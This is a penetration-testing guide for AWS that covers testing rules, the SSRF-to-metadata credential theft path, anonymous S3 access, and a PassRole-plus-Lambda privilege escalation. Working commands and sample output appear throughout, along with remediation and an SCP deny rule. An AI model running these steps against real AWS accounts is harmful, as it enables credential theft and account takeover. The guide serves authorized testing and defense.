AWS Penetration Testing: Rules, Scope, and Methodology
- ✓AWS permits customer-side penetration testing of eight service categories with no advance notice, but DDoS, stress, and simulated-event testing still require the AWS Simulated Events form.
- ✓The two attack paths that produce most criticals are SSRF to the instance metadata endpoint (169.254.169.254) to steal role credentials, and IAM misconfigurations that let a low-privilege identity escalate.
- ✓IMDSv1 hands credentials to a plain GET; IMDSv2 requires a PUT to fetch a session token first, which breaks most SSRF primitives. Confirm which one each instance enforces.
- ✓Prowler and ScoutSuite handle posture; Pacu drives exploitation; pmapper and enumerate-iam map the IAM blast radius a scanner cannot see.
- ✓You test your own configuration and data plane, never the AWS hypervisor, hardware, or other tenants.
Since March 2019, AWS lets you penetration test eight categories of your own resources without filing anything in advance. That single policy change turned cloud pentesting from a two-week approval queue into something you can kick off the same morning, provided you stay on your side of the shared-responsibility line and avoid the still-gated tests like DDoS and stress simulation.
This guide is built around the two attack paths that produce the overwhelming majority of AWS criticals (the metadata SSRF pivot and IAM privilege escalation) and shows the actual command output you read at each step, a sample findings table from a report, and the configuration that closes each gap. Written authorization from the account owner is assumed throughout.
What does AWS let you test, and what still needs approval?
AWS permits customer-initiated testing of eight service categories with no advance notice: EC2 (including NAT gateways and Elastic Load Balancers), RDS, CloudFront, Aurora, API Gateway, Lambda and Lambda@Edge, Lightsail, and Elastic Beanstalk. You test the resources you own and the configuration you control. Everything below the service boundary belongs to AWS.
Several activities are still prohibited or need a separate request. DNS zone walking of Route 53, port flooding, protocol flooding, and request (login/API) flooding are banned outright. Simulated events that mimic real attacks (DDoS, stress tests, large-scale red team traffic against managed control planes) require approval through the AWS Simulated Events form, which usually clears in a few business days. Record that approval reference in your rules of engagement so the blue team and AWS Trust and Safety can correlate your traffic if alarms fire.
One nuance trips people up: the eight categories cover the resources you run, not AWS-managed control-plane endpoints. Brute-forcing the STS or IAM API, hammering KMS, or attacking Cognito as a service is not the same as testing your app that happens to call them. Throttle your tooling so it never looks like a flood. The first move on any engagement is confirming the identity you operate as, because every later finding is scoped to it. Cloud engagements differ from traditional ones in ways we cover in what to expect from a cloud penetration test.
$ aws sts get-caller-identity
{
"UserId": "AIDA4XMPL2QK7EXAMPLE",
"Account": "111122223333",
"Arn": "arn:aws:iam::111122223333:user/ci-deployer" <- you are a low-priv CI user, not an admin
}That Arn is your starting blast radius. From here, everything is about how far ci-deployer can reach.
The metadata endpoint is where SSRF turns into credentials
Server-side request forgery against the EC2 metadata service at 169.254.169.254 is the single most impactful AWS attack path. If an application on an instance can be coerced into fetching an attacker-controlled URL, you point it at the IAM credentials path and receive temporary keys for the instance role. On an instance still allowing IMDSv1, that is a single GET through the SSRF parameter:
$ curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
web-instance-role <- the role name leaks first
$ curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-instance-role"
{
"Code": "Success",
"AccessKeyId": "ASIA4XMPLTOKENONLY",
"SecretAccessKey": "wJalrXUtn...EXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjE...", <- session token = you are now web-instance-role
"Expiration": "2026-06-03T18:21:00Z"
}Export those three values and the AWS CLI treats you as the instance role. IMDSv2 breaks this because it requires a PUT to mint a session token first, and that token must ride in a header on every call. Most SSRF primitives only issue GETs, so they never get past the PUT:
$ TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
web-instance-role <- only works because we could send a PUTSo your first metadata test is not the exploit, it is the question of which version is enforced. The SSRF mechanics themselves carry over from web testing, covered in our SSRF testing guide.
The IAM layer is where AWS engagements are won
S3 and IAM are where most AWS findings live, and of the two, IAM is what separates a finding list from an account takeover. On S3, the fastest check is anonymous access with --no-sign-request, which tells you in one line whether a bucket policy or ACL is open to the world:
$ aws s3 ls s3://acme-prod-assets --no-sign-request
2026-05-29 09:14:02 4821 config.json
2026-05-29 09:14:02 188204 backup-2026-05.sql.gz <- a database dump, world-readable
2026-05-29 09:14:03 612 .env
$ aws s3 cp s3://acme-prod-assets/.env . --no-sign-request # pull it down anonymouslyAccount-level Block Public Access overrides permissive bucket policies, so confirm whether it is on before you call a bucket exploitable. A common false negative is a bucket that looks private to aws s3 ls with signed creds but is wide open anonymously, which is exactly why you re-test with --no-sign-request rather than trusting the console. IAM escalation is subtler. Permissions like iam:CreatePolicyVersion, iam:PassRole with a service that assumes roles, iam:AttachUserPolicy, and sts:AssumeRole against an over-permissive trust policy each form a documented escalation chain. There are roughly two dozen known paths, so map them rather than guess:
- Enumerate the effective permissions of any keys you find with
enumerate-iam --access-key ASIA... --secret-key .... - Build the privilege graph and query escalation edges:
pmapper graph createthenpmapper query "who can do iam:* with *". - Confirm exploitation safely with Pacu's
iam__privesc_scanmodule.
The single most common false positive here is treating a scoped-looking role as safe. A role with no admin policy can still hold iam:PassRole on an admin role, which is the chain in the next section. To practice this safely without touching production, stand up the deliberately vulnerable CloudGoat scenarios in a throwaway account; they reproduce the IMDS, S3, and PassRole paths above with real but disposable resources.
How do you chain iam:PassRole and Lambda into account takeover?
The cleanest end-to-end AWS escalation is iam:PassRole plus lambda:CreateFunction and lambda:InvokeFunction. Even though you can never assume the admin role directly, you can hand it to a Lambda you create, and Lambda runs your code as that role. First find an admin-grade role your identity is allowed to pass:
$ aws iam list-roles --query 'Roles[].RoleName' --output text
ci-deployer-role s3-readonly-role admin-automation-role <- the prize
$ aws iam list-attached-role-policies --role-name admin-automation-role
{"AttachedPolicies": [{"PolicyName": "AdministratorAccess", ...}]} <- full adminThen deploy a function that returns its own environment credentials and pass the admin role to it:
$ zip function.zip index.py # handler returns os.environ['AWS_*']
$ aws lambda create-function --function-name pt-escalate \
--runtime python3.12 --handler index.handler \
--role arn:aws:iam::111122223333:role/admin-automation-role \
--zip-file fileb://function.zip
$ aws lambda invoke --function-name pt-escalate out.json
$ cat out.json
{"AWS_ACCESS_KEY_ID": "ASIA...ADMIN", "AWS_SECRET_ACCESS_KEY": "...",
"AWS_SESSION_TOKEN": "..."} <- temporary creds for admin-automation-roleYou have escalated from a single function-create permission to full admin, without ever holding an admin policy. The defensive lesson is to scope iam:PassRole with a condition naming exactly which roles a principal may pass, and never attach broad roles to compute that low-tier identities can create.
What does a real AWS engagement turn up, and how do you fix it?
Most AWS criticals are not a single CVE; they are three mediums chained into account compromise, which is exactly what a posture scanner cannot see. On a recent assessment of a media company's image-processing platform, the entry point was a low-severity SSRF in a resize feature. The instance still allowed IMDSv1, its role held s3:GetObject on every bucket, and one of those buckets held a service-account key with iam:PassRole on an admin role. Three findings that each looked moderate in isolation chained into full account takeover in under an hour.
The findings table below is the report excerpt that proves that chain. The remediation for every row is config, not advice. Enforce IMDSv2 so the metadata GET never returns credentials: aws ec2 modify-instance-metadata-options --instance-id i-0abc --http-tokens required --http-endpoint enabled. Block public storage at the account level so a single bad bucket policy cannot expose data. Scope iam:PassRole with a condition, and deny the riskiest IAM writes org-wide with a service control policy:
{
"Sid": "DenyIamPrivescWrites",
"Effect": "Deny",
"Action": ["iam:CreatePolicyVersion", "iam:AttachUserPolicy",
"iam:PutUserPolicy", "iam:CreateAccessKey"],
"Resource": "*",
"Condition": {"StringNotEquals": {"aws:PrincipalArn":
"arn:aws:iam::111122223333:role/iam-admin"}}
}Run posture discovery first with Prowler (prowler aws --severity high critical) and ScoutSuite (scout aws) to surface public buckets, disabled logging, and weak IAM, then use Pacu and pmapper for the exploitation a scanner misses. The argument for doing this on a schedule instead of once a year is agentic, continuous pentesting, and findings should feed your cloud security posture checklist.
Frequently asked questions
Sources and references
- AWS Penetration Testing Policy
- AWS EC2 Instance Metadata Service (IMDSv2)
- Rhino Security Labs AWS IAM Privilege Escalation
- Prowler
- Pacu AWS Exploitation Framework
